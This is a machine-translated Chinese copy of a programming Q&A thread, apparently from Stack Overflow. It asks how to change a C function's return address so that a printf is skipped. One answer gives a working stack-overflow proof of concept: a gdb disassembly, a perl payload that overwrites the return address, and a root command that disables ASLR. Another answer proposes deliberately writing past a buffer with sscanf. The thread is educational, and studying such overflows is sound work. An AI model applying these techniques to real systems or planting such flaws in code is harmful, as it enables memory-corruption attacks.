Question

我刚刚写了一个C代码，如下所示：

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请建议我如何跳过 printf（“\ nx是1 \ n”）; 这一行。早些时候，我得到的线索是修改 ret 变量，该变量是函数 func 的返回地址。

您能否建议我如何更改上述程序中的返回地址，以便 printf（“\ nx是1 \ n”）; 被跳过。

我发布了这个问题，因为我不知道如何更改返回地址。

如果你帮助我，那就太好了。

由于

Answer 1

根据我的理解，您希望代码执行指令x=1;，然后跳过下一个printf，这样它才会打印x is 0。 没有办法做到这一点。

但是，可以做的是使func（）擦除它自己的返回地址，这样代码就会直接跳转到printf("\nx is 0\n\n");。这意味着跳过x=1;。

这是唯一可能的，因为您发送到func（）的任何内容都是通过cmd-line传递并直接复制到固定大小的缓冲区。如果您尝试复制的字符串大于分配的缓冲区，则可能最终会破坏堆栈，并可能覆盖函数的返回地址。

关于这个主题有很多关于this one的好书，我建议你阅读它们。

在 gdb 上加载你的应用程序并反汇编主函数，你会看到类似的东西：

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

请注意，第二个 printf 调用的准备工作从地址0x08048449开始。要覆盖func()的原始返回地址并使其跳转到0x08048449，您必须超出char buffer[24];的容量。在此测试中，我使用char buffer[6];来简化目的。

在 gdb 中，如果我执行：

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功覆盖缓冲区并将return的地址替换为我希望它跳转到的地址：

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会解释每一步的方法，因为其他人已经做得更好了，但是如果你想直接从cmd-line重现这种行为，你可以执行以下操作：

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住， gdb 向您报告的内存地址可能与我获得的内存地址不同。

注意：要使用此技术，您必须先禁用内核保护。但是，如果以下命令报告与0不同的任何内容：

cat /proc/sys/kernel/randomize_va_space

要禁用它，您需要超级用户访问权限：

echo 0 > /proc/sys/kernel/randomize_va_space

Answer 2

来自func的返回地址位于堆栈上，靠近其局部变量（其中一个是buffer）。如果你想覆盖返回地址，你必须写过数组的末尾（可能是buffer[24...27]但是我可能错了 - 如果你有buffer[28...31]甚至buffer[24...31]一个64位系统）。我建议使用调试器找出确切的地址。

BTW摆脱ret变量 - 你没有做任何事情，它可能会混淆你的计算。

请注意，这种“缓冲区溢出漏洞”有点难以调试，因为strcpy在遇到零字节时会停止复制内容，而要写入堆栈的地址可能包含这样的字节。这样做会更容易：

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

并将命令行上的地址作为十六进制字符串。这样可以更清楚地了解您正在尝试做什么，并且更容易调试。

Answer 3

这是不可能的 - 如果你知道编译器及其工作方式，生成的汇编代码，使用的库，架构，cpu，系统环境和明天的乐透号码，也是可能的。你有这方面的知识，你会很聪明，不要问。它有意义的唯一情况是有人尝试某种攻击，并且不要指望有人愿意帮助你。

C代码如何在代码中更改返回地址？

3 个答案: